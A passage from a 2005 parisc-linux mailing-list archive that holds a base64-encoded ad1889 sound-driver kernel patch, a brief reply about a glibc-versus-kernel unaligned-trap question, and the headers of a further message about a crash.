c3RhdGljIGlubGluZSB2b2lkDQorYWQxODg5X2xvYWRfd2F2ZV9idWZmZXJf
YWRkcmVzcyhzdHJ1Y3Qgc25kX2FkMTg4OSAqY2hpcCwgdTMyIGFkZHJlc3Mp
DQorew0KKwlhZDE4ODlfd3JpdGVsKGNoaXAsIEFEX0RNQV9XQVZCQSwgYWRk
cmVzcyk7DQorCWFkMTg4OV93cml0ZWwoY2hpcCwgQURfRE1BX1dBVkNBLCBh
ZGRyZXNzKTsNCit9DQogDQogc3RhdGljIGlubGluZSB2b2lkDQotYWQxODg5
X2xvYWRfd2F2ZV9jb3VudChzdHJ1Y3Qgc25kX2FkMTg4OSAqY2hpcCwgdTMy
IGNvdW50KQ0KK2FkMTg4OV9sb2FkX3dhdmVfYnVmZmVyX2NvdW50KHN0cnVj
dCBzbmRfYWQxODg5ICpjaGlwLCB1MzIgY291bnQpDQogew0KIAlhZDE4ODlf
d3JpdGVsKGNoaXAsIEFEX0RNQV9XQVZCQywgY291bnQpOw0KIAlhZDE4ODlf
d3JpdGVsKGNoaXAsIEFEX0RNQV9XQVZDQywgY291bnQpOw0KK30NCisNCitz
dGF0aWMgaW5saW5lIHZvaWQNCithZDE4ODlfbG9hZF93YXZlX2ludGVycnVw
dF9jb3VudChzdHJ1Y3Qgc25kX2FkMTg4OSAqY2hpcCwgdTMyIGNvdW50KQ0K
K3sNCiAJYWQxODg5X3dyaXRlbChjaGlwLCBBRF9ETUFfV0FWSUIsIGNvdW50
KTsNCiAJYWQxODg5X3dyaXRlbChjaGlwLCBBRF9ETUFfV0FWSUMsIGNvdW50
KTsNCi19CQ0KK30NCiANCiBzdGF0aWMgdm9pZA0KIGFkMTg4OV9jaGFubmVs
X3Jlc2V0KHN0cnVjdCBzbmRfYWQxODg5ICpjaGlwLCB1bnNpZ25lZCBpbnQg
Y2hhbm5lbCkNCkBAIC0yMDcsOSArMjIwLDkgQEAgYWQxODg5X2NoYW5uZWxf
cmVzZXQoc3RydWN0IHNuZF9hZDE4ODkgKg0KIAkJYWQxODg5X3dyaXRldyhj
aGlwLCBBRF9ETUFfV0FWLCByZWcpOw0KIA0KIAkJLyogY2xlYXIgSVJRIGFu
ZCBhZGRyZXNzIGNvdW50ZXJzIGFuZCBwb2ludGVycyAqLw0KLQkJYWQxODg5
X2xvYWRfd2F2ZV9jb3VudChjaGlwLCAweDApOw0KLQkJYWQxODg5X3dyaXRl
bChjaGlwLCBBRF9ETUFfV0FWQkEsIDB4MCk7DQotCQlhZDE4ODlfd3JpdGVs
KGNoaXAsIEFEX0RNQV9XQVZDQSwgMHgwKTsNCisJCWFkMTg4OV9sb2FkX3dh
dmVfYnVmZmVyX2FkZHJlc3MoY2hpcCwgMHgwKTsNCisJCWFkMTg4OV9sb2Fk
X3dhdmVfYnVmZmVyX2NvdW50KGNoaXAsIDB4MCk7DQorCQlhZDE4ODlfbG9h
ZF93YXZlX2ludGVycnVwdF9jb3VudChjaGlwLCAweDApOw0KIA0KIAkJLyog
Zmx1c2ggKi8NCiAJCWFkMTg4OV9yZWFkdyhjaGlwLCBBRF9ETUFfV0FWKTsN
CkBAIC0yMjYsOSArMjM5LDkgQEAgYWQxODg5X2NoYW5uZWxfcmVzZXQoc3Ry
dWN0IHNuZF9hZDE4ODkgKg0KIAkJcmVnICY9IH5BRF9ETUFfTE9PUDsNCiAJ
CWFkMTg4OV93cml0ZXcoY2hpcCwgQURfRE1BX0FEQywgcmVnKTsNCiAJDQot
CQlhZDE4ODlfbG9hZF9hZGNfY291bnQoY2hpcCwgMHgwKTsNCi0JCWFkMTg4
OV93cml0ZWwoY2hpcCwgQURfRE1BX0FEQ0JBLCAweDApOw0KLQkJYWQxODg5
X3dyaXRlbChjaGlwLCBBRF9ETUFfQURDQ0EsIDB4MCk7DQorCQlhZDE4ODlf
bG9hZF9hZGNfYnVmZmVyX2FkZHJlc3MoY2hpcCwgMHgwKTsNCisJCWFkMTg4
OV9sb2FkX2FkY19idWZmZXJfY291bnQoY2hpcCwgMHgwKTsNCisJCWFkMTg4
OV9sb2FkX2FkY19pbnRlcnJ1cHRfY291bnQoY2hpcCwgMHgwKTsNCiANCiAJ
CS8qIGZsdXNoICovDQogCQlhZDE4ODlfcmVhZHcoY2hpcCwgQURfRE1BX0FE
Qyk7DQpAQCAtMjkwLDExICszMDMsMTEgQEAgc3RhdGljIHNuZF9wY21faGFy
ZHdhcmVfdCBzbmRfYWQxODg5X3BsYQ0KIAkucmF0ZV9tYXggPSA0ODAwMCwN
CiAJLmNoYW5uZWxzX21pbiA9IDEsDQogCS5jaGFubmVsc19tYXggPSAyLA0K
LQkuYnVmZmVyX2J5dGVzX21heCA9IERNQV9TSVpFLAkvKiBtYXggRE1BIGJ1
ZmZlciBzaXplIGluIGJ5dGVzICovDQotCS5wZXJpb2RfYnl0ZXNfbWluID0g
QlVGX1NJWkUsCS8qIG1pbiBzaXplIG9mIHBlcmlvZCBpbiBieXRlcyAqLw0K
LQkucGVyaW9kX2J5dGVzX21heCA9IERNQV9TSVpFLAkvKiBtYXggc2l6ZSBv
ZiBwZXJpb2QgaW4gYnl0ZXMgKi8NCi0JLnBlcmlvZHNfbWluID0gMSwJCS8q
IG1pbiBuYiBvZiBwZXJpb2RzIGluIGJ1ZmZlciAqLw0KLQkucGVyaW9kc19t
YXggPSBNQVhfQlVGUywNCisJLmJ1ZmZlcl9ieXRlc19tYXggPSAyNTYgKiAx
MDI0LA0KKwkucGVyaW9kX2J5dGVzX21pbiA9IDMyLA0KKwkucGVyaW9kX2J5
dGVzX21heCA9IDEyOCAqIDEwMjQsDQorCS5wZXJpb2RzX21pbiA9IDIsDQor
CS5wZXJpb2RzX21heCA9IDI1NiwNCiAJLyouZmlmb19zaXplID0gMCwqLw0K
IH07DQogDQpAQCAtMzA3LDExICszMjAsMTEgQEAgc3RhdGljIHNuZF9wY21f
aGFyZHdhcmVfdCBzbmRfYWQxODg5X2NhcA0KIAkucmF0ZV9tYXggPSA0ODAw
MCwNCiAJLmNoYW5uZWxzX21pbiA9IDEsDQogCS5jaGFubmVsc19tYXggPSAy
LA0KLQkuYnVmZmVyX2J5dGVzX21heCA9IERNQV9TSVpFLAkvKiBtYXggRE1B
IGJ1ZmZlciBzaXplIGluIGJ5dGVzICovDQotCS5wZXJpb2RfYnl0ZXNfbWlu
ID0gQlVGX1NJWkUsCS8qIG1pbiBzaXplIG9mIHBlcmlvZCBpbiBieXRlcyAq
Lw0KLQkucGVyaW9kX2J5dGVzX21heCA9IERNQV9TSVpFLAkvKiBtYXggc2l6
ZSBvZiBwZXJpb2QgaW4gYnl0ZXMgKi8NCi0JLnBlcmlvZHNfbWluID0gMSwJ
CS8qIG1pbiBuYiBvZiBwZXJpb2RzIGluIGJ1ZmZlciAqLw0KLQkucGVyaW9k
c19tYXggPSBNQVhfQlVGUywNCisJLmJ1ZmZlcl9ieXRlc19tYXggPSAyNTYg
KiAxMDI0LA0KKwkucGVyaW9kX2J5dGVzX21pbiA9IDMyLA0KKwkucGVyaW9k
X2J5dGVzX21heCA9IDEyOCAqIDEwMjQsDQorCS5wZXJpb2RzX21pbiA9IDIs
DQorCS5wZXJpb2RzX21heCA9IDI1NiwNCiAJLyouZmlmb19zaXplID0gMCwq
Lw0KIH07DQogDQpAQCAtMzgxLDI0ICszOTQsMTggQEAgc25kX2FkMTg4OV9w
bGF5YmFja19wcmVwYXJlKHNuZF9wY21fc3Vicw0KIAlzcGluX2xvY2tfaXJx
KCZjaGlwLT5sb2NrKTsNCiAJDQogCWNoaXAtPndhdmUuc2l6ZSA9IHNpemU7
DQotCWNoaXAtPndhdmUuY291bnQgPSBjb3VudDsNCiAJY2hpcC0+d2F2ZS5y
ZWcgPSByZWc7DQotCWNoaXAtPndhdmUuYnVmID0gMDsNCi0JY2hpcC0+d2F2
ZS5wb3MgPSAwOw0KLQljaGlwLT53YXZlLnJhdGUgPSBydC0+cmF0ZTsNCiAJ
Y2hpcC0+d2F2ZS5hZGRyID0gcnQtPmRtYV9hZGRyOw0KIA0KIAlhZDE4ODlf
d3JpdGV3KGNoaXAsIEFEX0RTX1dTTUMsIGNoaXAtPndhdmUucmVnKTsNCiAJ
DQogCS8qIFNldCBzYW1wbGUgcmF0ZXMgb24gdGhlIGNvZGVjICovDQotCWFk
MTg4OV93cml0ZXcoY2hpcCwgQURfRFNfV0FTLCBjaGlwLT53YXZlLnJhdGUp
Ow0KKwlhZDE4ODlfd3JpdGV3KGNoaXAsIEFEX0RTX1dBUywgcnQtPnJhdGUp
Ow0KIA0KLQkvKiBTZXQgdXAgRE1BOiBmaXJzdCBjaHVuayBhZGRyZXNzIGlu
IGN1cnIgYWRkciwgbmV4dCBvbmUgaW4gYmFzZSBhZGRyLg0KLQkgICBCYXNl
IHdpbGwgYmUgbG9hZGVkIGludG8gY3VyciBieSB0aGUgaGFyZHdhcmUgdXBv
biBpbnRlcnJ1cHQNCi0JICAgKGFzIHdlIHVzZSBMT09QKS4gQ291bnQgaG9s
ZHMgdGhlIHNpemUgb2YgdGhlIGNodW5rLiAqLw0KLQlhZDE4ODlfd3JpdGVs
KGNoaXAsIEFEX0RNQV9XQVZDQSwgY2hpcC0+d2F2ZS5hZGRyKTsNCi0JYWQx
ODg5X3dyaXRlbChjaGlwLCBBRF9ETUFfV0FWQkEsIGNoaXAtPndhdmUuYWRk
ciArIChjb3VudCAlIHNpemUpKTsNCi0JYWQxODg5X2xvYWRfd2F2ZV9jb3Vu
dChjaGlwLCBjaGlwLT53YXZlLmNvdW50KTsNCisJLyogU2V0IHVwIERNQSAq
Lw0KKwlhZDE4ODlfbG9hZF93YXZlX2J1ZmZlcl9hZGRyZXNzKGNoaXAsIGNo
aXAtPndhdmUuYWRkcik7DQorCWFkMTg4OV9sb2FkX3dhdmVfYnVmZmVyX2Nv
dW50KGNoaXAsIHNpemUpOw0KKwlhZDE4ODlfbG9hZF93YXZlX2ludGVycnVw
dF9jb3VudChjaGlwLCBjb3VudCk7DQogDQogCS8qIHdyaXRlcyBmbHVzaCAq
Lw0KIAlhZDE4ODlfcmVhZHcoY2hpcCwgQURfRFNfV1NNQyk7DQpAQCAtNDA3
LDcgKzQxNCw3IEBAIHNuZF9hZDE4ODlfcGxheWJhY2tfcHJlcGFyZShzbmRf
cGNtX3N1YnMNCiAJDQogCWFkMTg4OV9kZWJ1ZygicHJlcGFyZSBwbGF5YmFj
azogYWRkciA9IDB4JXgsIGNvdW50ID0gJXUsICINCiAJCQkic2l6ZSA9ICV1
LCByZWcgPSAweCV4LCByYXRlID0gJXVcbiIsIGNoaXAtPndhdmUuYWRkciwN
Ci0JCQljb3VudCwgc2l6ZSwgcmVnLCBjaGlwLT53YXZlLnJhdGUpOw0KKwkJ
CWNvdW50LCBzaXplLCByZWcsIHJ0LT5yYXRlKTsNCiAJcmV0dXJuIDA7DQog
fQ0KIA0KQEAgLTQzNywyMSArNDQ0LDE1IEBAIHNuZF9hZDE4ODlfY2FwdHVy
ZV9wcmVwYXJlKHNuZF9wY21fc3Vic3QNCiAJc3Bpbl9sb2NrX2lycSgmY2hp
cC0+bG9jayk7DQogCQ0KIAljaGlwLT5yYW1jLnNpemUgPSBzaXplOw0KLQlj
aGlwLT5yYW1jLmNvdW50ID0gY291bnQ7DQogCWNoaXAtPnJhbWMucmVnID0g
cmVnOw0KLQljaGlwLT5yYW1jLmJ1ZiA9IDA7DQotCWNoaXAtPnJhbWMucG9z
ID0gMDsNCi0JY2hpcC0+cmFtYy5yYXRlID0gcnQtPnJhdGU7DQogCWNoaXAt
PnJhbWMuYWRkciA9IHJ0LT5kbWFfYWRkcjsNCiANCiAJYWQxODg5X3dyaXRl
dyhjaGlwLCBBRF9EU19SQU1DLCBjaGlwLT5yYW1jLnJlZyk7DQogDQotCS8q
IFNldCB1cCBETUE6IGZpcnN0IGNodW5rIGFkZHJlc3MgaW4gY3VyciBhZGRy
LCBuZXh0IG9uZSBpbiBiYXNlIGFkZHIuDQotCSAgIEJhc2Ugd2lsbCBiZSBs
b2FkZWQgaW50byBjdXJyIGJ5IHRoZSBoYXJkd2FyZSB1cG9uIGludGVycnVw
dA0KLQkgICAoYXMgd2UgdXNlIExPT1ApLiBDb3VudCBob2xkcyB0aGUgc2l6
ZSBvZiB0aGUgY2h1bmsuICovDQotCWFkMTg4OV93cml0ZWwoY2hpcCwgQURf
RE1BX0FEQ0NBLCBjaGlwLT5yYW1jLmFkZHIpOw0KLQlhZDE4ODlfd3JpdGVs
KGNoaXAsIEFEX0RNQV9BRENCQSwgY2hpcC0+cmFtYy5hZGRyICsgKGNvdW50
ICUgc2l6ZSkpOw0KLQlhZDE4ODlfbG9hZF9hZGNfY291bnQoY2hpcCwgY2hp
cC0+cmFtYy5jb3VudCk7DQorCS8qIFNldCB1cCBETUEgKi8NCisJYWQxODg5
X2xvYWRfYWRjX2J1ZmZlcl9hZGRyZXNzKGNoaXAsIGNoaXAtPnJhbWMuYWRk
cik7DQorCWFkMTg4OV9sb2FkX2FkY19idWZmZXJfY291bnQoY2hpcCwgc2l6
ZSk7DQorCWFkMTg4OV9sb2FkX2FkY19pbnRlcnJ1cHRfY291bnQoY2hpcCwg
Y291bnQpOw0KIA0KIAkvKiB3cml0ZXMgZmx1c2ggKi8NCiAJYWQxODg5X3Jl
YWR3KGNoaXAsIEFEX0RTX1JBTUMpOw0KQEAgLTQ2MCw3ICs0NjEsNyBAQCBz
bmRfYWQxODg5X2NhcHR1cmVfcHJlcGFyZShzbmRfcGNtX3N1YnN0DQogCQ0K
IAlhZDE4ODlfZGVidWcoInByZXBhcmUgY2FwdHVyZTogYWRkciA9IDB4JXgs
IGNvdW50ID0gJXUsICINCiAJCQkic2l6ZSA9ICV1LCByZWcgPSAweCV4LCBy
YXRlID0gJXVcbiIsIGNoaXAtPnJhbWMuYWRkciwNCi0JCQljb3VudCwgc2l6
ZSwgcmVnLCBjaGlwLT5yYW1jLnJhdGUpOw0KKwkJCWNvdW50LCBzaXplLCBy
ZWcsIHJ0LT5yYXRlKTsNCiAJcmV0dXJuIDA7DQogfQ0KIA0KQEAgLTYwNyw3
ICs2MDgsNiBAQCBzbmRfYWQxODg5X2ludGVycnVwdChpbnQgaXJxLCANCiAJ
CSAgICAgc3RydWN0IHB0X3JlZ3MgKnJlZ3MpDQogew0KIAl1bnNpZ25lZCBs
b25nIHN0Ow0KLQl1bnNpZ25lZCBsb25nIG5leHQ7DQogCXN0cnVjdCBzbmRf
YWQxODg5ICpjaGlwID0gZGV2X2lkOw0KIA0KIAlzdCA9IGFkMTg4OV9yZWFk
bChjaGlwLCBBRF9ETUFfRElTUik7DQpAQCAtNjIzLDgyICs2MjMsMTIgQEAg
c25kX2FkMTg4OV9pbnRlcnJ1cHQoaW50IGlycSwgDQogCWlmIChzdCAmIChB
RF9ETUFfRElTUl9QTUFJfEFEX0RNQV9ESVNSX1BUQUkpKQ0KIAkJYWQxODg5
X2RlYnVnKCJVbmV4cGVjdGVkIG1hc3RlciBvciB0YXJnZXQgYWJvcnQgaW50
ZXJydXB0IVxuIik7DQogDQotCWlmIChjaGlwLT5wY20gJiYgKHN0ICYgQURf
RE1BX0RJU1JfV0FWSSkgJiYgY2hpcC0+cHN1YnMpIHsNCi0JCXNwaW5fbG9j
aygmY2hpcC0+bG9jayk7DQotDQotCQljaGlwLT5zdGF0cy53YXZfaW50cisr
Ow0KLQ0KLQkJY2hpcC0+d2F2ZS5idWYrKzsNCi0NCi0JCS8qIGNhbGN1bGF0
ZSB0aGUgY3VycmVudCBwb3NpdGlvbjogd2UgZ2V0IGludGVycnVwdHMgZXZl
cnl0aW1lDQotCQkgICB0aGUgYnVmZmVyIGVtcHRpZXMsIHRodXMgZXZlcnkg
d2F2ZS5jb3VudCBieXRlcyB0cmFuc2ZlcmVkICovDQotCQljaGlwLT53YXZl
LnBvcyArPSBjaGlwLT53YXZlLmNvdW50Ow0KLQkJY2hpcC0+d2F2ZS5wb3Mg
JT0gY2hpcC0+d2F2ZS5zaXplOw0KLQ0KLQkJLyogdGhlIG5leHQgYnVmZmVy
IHdpbGwgdGh1cyBiZSBjdXJyZW50IHBvc2l0aW9uICsgd2F2ZS5jb3VudA0K
LQkJICAgYnl0ZXMgYXdheSAqLw0KLQkJbmV4dCA9IGNoaXAtPndhdmUucG9z
ICsgY2hpcC0+d2F2ZS5jb3VudDsNCi0JCW5leHQgJT0gY2hpcC0+d2F2ZS5z
aXplOw0KLQkJDQotCQkvKiBMb2FkIG5ldyBETUEgcGFyYW1ldGVycyAoYWth
ICJ0aGUgbmV4dCBjaHVuayIgaW4gQmFzZQ0KLQkJICAgcmVnaXN0ZXJzOiB1
cG9uIG5leHQgaW50ZXJydXB0LCB0aGV5J2xsIGJlIGF1dG9tYXRpY2FsbHkN
Ci0JCSAgIGxvYWRlZCBpbiB0aGUgQ3VycmVudCByZWdpc3RlcnMsIGFuZCB3
ZSdsbCBlbmQgdXAgaGVyZQ0KLQkJICAgcHJlcGFyaW5nIHRoZSBuZXcgb25l
cy4gU2luY2UgImNvdW50IiBuZXZlciBnZXRzIG1vZGlmaWVkDQotCQkgICBl
bHNld2hlcmUgdGhhbiBpbiBfcHJlcGFyZSwgd2UgZG9uJ3QgbmVlZCB0byBy
ZXdyaXRlIGl0LiAqLw0KLQkJYWQxODg5X3dyaXRlbChjaGlwLCBBRF9ETUFf
V0FWQkEsIGNoaXAtPndhdmUuYWRkciArIG5leHQpOw0KLQkJDQotCQlhZDE4
ODlfcmVhZGwoY2hpcCwgQURfRE1BX1dBVkJBKTsgLyogZmx1c2ggYWxsIHRo
b3NlIHdyaXRlcyAqLw0KLQ0KLQkJc3Bpbl91bmxvY2soJmNoaXAtPmxvY2sp
Ow0KLQ0KKwlpZiAoKHN0ICYgQURfRE1BX0RJU1JfV0FWSSkgJiYgY2hpcC0+
cHN1YnMpDQogCQlzbmRfcGNtX3BlcmlvZF9lbGFwc2VkKGNoaXAtPnBzdWJz
KTsNCi0jaWYgMA0KLQkJYWQxODg5X2RlYnVnKCJjaGlwLT53YXZlLnBvcyA9
ICVkLCBjaGlwLT53YXZlLmNvdW50ID0gJWQsICINCi0JCQkJImNoaXAtPndh
dmUuc2l6ZSA9ICVkXG4iLCBjaGlwLT53YXZlLnBvcywNCi0JCQkJY2hpcC0+
d2F2ZS5jb3VudCwgY2hpcC0+d2F2ZS5zaXplKTsNCi0JCWFkMTg4OV9kZWJ1
ZygiY2hpcC0+d2F2ZS5hZGRyICgweCVseCkgKyBuZXh0ICgweCVseCkgPSAw
eCVseFxuIiwNCi0JCQkJY2hpcC0+d2F2ZS5hZGRyLCBuZXh0LCBjaGlwLT53
YXZlLmFkZHIgKyBuZXh0KTsNCi0jZW5kaWYJCQ0KLQl9DQotDQotCWlmIChj
aGlwLT5wY20gJiYgKHN0ICYgQURfRE1BX0RJU1JfQURDSSkgJiYgY2hpcC0+
Y3N1YnMpIHsNCi0JCXNwaW5fbG9jaygmY2hpcC0+bG9jayk7DQotCQkNCi0J
CWNoaXAtPnN0YXRzLmFkY19pbnRyKys7DQotDQotCQljaGlwLT5yYW1jLmJ1
ZisrOw0KLQkJDQotCQkvKiBjYWxjdWxhdGUgdGhlIGN1cnJlbnQgcG9zaXRp
b246IHdlIGdldCBpbnRlcnJ1cHRzIGV2ZXJ5dGltZQ0KLQkJICAgdGhlIGJ1
ZmZlciBlbXB0aWVzLCB0aHVzIGV2ZXJ5IHdhdmUuY291bnQgYnl0ZXMgdHJh
bnNmZXJlZCAqLw0KLQkJY2hpcC0+cmFtYy5wb3MgKz0gY2hpcC0+cmFtYy5j
b3VudDsNCi0JCWNoaXAtPnJhbWMucG9zICU9IGNoaXAtPnJhbWMuc2l6ZTsN
Ci0NCi0JCS8qIHRoZSBuZXh0IGJ1ZmZlciB3aWxsIHRodXMgYmUgY3VycmVu
dCBwb3NpdGlvbiArIHdhdmUuY291bnQNCi0JCSAgIGJ5dGVzIGF3YXkgKi8N
Ci0JCW5leHQgPSBjaGlwLT5yYW1jLnBvcyArIGNoaXAtPnJhbWMuY291bnQ7
DQotCQluZXh0ICU9IGNoaXAtPnJhbWMuc2l6ZTsNCi0NCi0JCS8qIExvYWQg
bmV3IERNQSBwYXJhbWV0ZXJzIChha2EgInRoZSBuZXh0IGNodW5rIiBpbiBC
YXNlDQotCQkgICByZWdpc3RlcnM6IHVwb24gbmV4dCBpbnRlcnJ1cHQsIHRo
ZXknbGwgYmUgYXV0b21hdGljYWxseQ0KLQkJICAgbG9hZGVkIGluIHRoZSBD
dXJyZW50IHJlZ2lzdGVycywgYW5kIHdlJ2xsIGVuZCB1cCBoZXJlDQotCQkg
ICBwcmVwYXJpbmcgdGhlIG5ldyBvbmVzLiBTaW5jZSAiY291bnQiIG5ldmVy
IGdldHMgbW9kaWZpZWQNCi0JCSAgIGVsc2V3aGVyZSB0aGFuIGluIF9wcmVw
YXJlLCB3ZSBkb24ndCBuZWVkIHRvIHJld3JpdGUgaXQuICovDQotCQlhZDE4
ODlfd3JpdGVsKGNoaXAsIEFEX0RNQV9BRENCQSwgY2hpcC0+cmFtYy5hZGRy
ICsgbmV4dCk7DQotCQkNCi0JCWFkMTg4OV9yZWFkbChjaGlwLCBBRF9ETUFf
QURDQkEpOyAvKiBmbHVzaCBhbGwgdGhvc2Ugd3JpdGVzICovDQotDQotCQlz
cGluX3VubG9jaygmY2hpcC0+bG9jayk7DQotCQkNCisJaWYgKChzdCAmIEFE
X0RNQV9ESVNSX0FEQ0kpICYmIGNoaXAtPmNzdWJzKQ0KIAkJc25kX3BjbV9w
ZXJpb2RfZWxhcHNlZChjaGlwLT5jc3Vicyk7DQotI2lmIDANCi0JCWFkMTg4
OV9kZWJ1ZygiY2hpcC0+cmFtYy5wb3MgPSAlZCwgY2hpcC0+cmFtYy5jb3Vu
dCA9ICVkLCAiDQotCQkJCSJjaGlwLT5yYW1jLnNpemUgPSAlZFxuIiwgY2hp
cC0+cmFtYy5wb3MsDQotCQkJCWNoaXAtPnJhbWMuY291bnQsIGNoaXAtPnJh
bWMuc2l6ZSk7DQotCQlhZDE4ODlfZGVidWcoImNoaXAtPnJhbWMuYWRkciAo
MHglbHgpICsgbmV4dCAoMHglbHgpID0gMHglbHhcbiIsDQotCQkJCWNoaXAt
PnJhbWMuYWRkciwgbmV4dCwgY2hpcC0+cmFtYy5hZGRyICsgbmV4dCk7DQot
I2VuZGlmCQkNCi0JfQ0KIA0KKwlhZDE4ODlfcmVhZGwoY2hpcCwgQURfRE1B
X0RJU1IpOyAvKiBmbHVzaCAqLw0KIAkvKiBYWFggdW5kZXIgc29tZSBjaXJj
dW1zdGFuY2VzIHRoZSBESVNSIHdyaXRlIGZsdXNoIG1heSBub3QgaGFwcGVu
ICovDQogDQogCXJldHVybiBJUlFfSEFORExFRDsNCkBAIC03NDEsNyArNjcx
LDcgQEAgc25kX2FkMTg4OV9wY21faW5pdChzdHJ1Y3Qgc25kX2FkMTg4OSAq
Yw0KIA0KIAllcnIgPSBzbmRfcGNtX2xpYl9wcmVhbGxvY2F0ZV9wYWdlc19m
b3JfYWxsKHBjbSwgU05EUlZfRE1BX1RZUEVfREVWLA0KIAkJCQkJCXNuZF9k
bWFfcGNpX2RhdGEoY2hpcC0+cGNpKSwNCi0JCQkJCQlETUFfU0laRSwgRE1B
X1NJWkUpOw0KKwkJCQkJCTEyOCAqIDEwMjQsIDI1NiAqIDEwMjQpOw0KIA0K
IAlpZiAoZXJyIDwgMCkgew0KIAkJc25kX3ByaW50ayhLRVJOX0VSUiBQRlgg
ImJ1ZmZlciBhbGxvY2F0aW9uIGVycm9yOiAlZFxuIiwgZXJyKTsNCg==
--2015913978-851401618-1123831067=:10052
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--2015913978-851401618-1123831067=:10052--



From - Thu Nov 08 21:33:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New debian libc6 2.3.5: glibc bug or kernel bug???
Date: Fri, 12 Aug 2005 11:12:22 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <IL3QWM$278508E649D2E698C2052478A717F917@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623888 16287 80.91.229.3 (22 Nov 2014 02:38:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:08 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "kyle" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Aug 2005 09:12:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 12 Aug 2005 11:12:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AEA687D66B;
	Fri, 12 Aug 2005 03:12:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04535-10; Fri, 12 Aug 2005 03:12:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4B137D668;
	Fri, 12 Aug 2005 03:12:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D621B7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 03:12:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04527-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 03:12:30 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id E11CB7D662
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 03:12:29 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by oola.is.scarlet.be  with ESMTP id j7C9CMW16619; 
	Fri, 12 Aug 2005 11:12:22 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RQ2OYi9yeSEkSr6WZHQhaXN1IGRvb0BE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23044

> On Thu, Aug 11, 2005 at 06:03:54PM +0200, Joel Soete wrote:
> > mmm, I am looking to the diff between 2.6.11 and 2.6.12 in p-l field =
only
> > (i.e. arch/parisc and include/asm-parisc) and find a few related to t=
hreads
> > excepted those hunks:
> 
> This should only effect unaligned traps, and only if the process has
> flags set with prctl.

Ok

Thanks a lot,
    Joel=0A=0A-----------------------------------------------------------=
----=0AA free anti-spam and anti-virus filter on all Scarlet mailboxes=0A=
More info on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Berthold Gunreben <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] crash without pim info
Date: Fri, 12 Aug 2005 16:22:50 +0200
Organization: http://freemail.web.de/
Lines: 43
Approved: news@gmane.org
Message-ID: <113446137@web.de>
NNTP-Posting-Host: plane.gmane.org
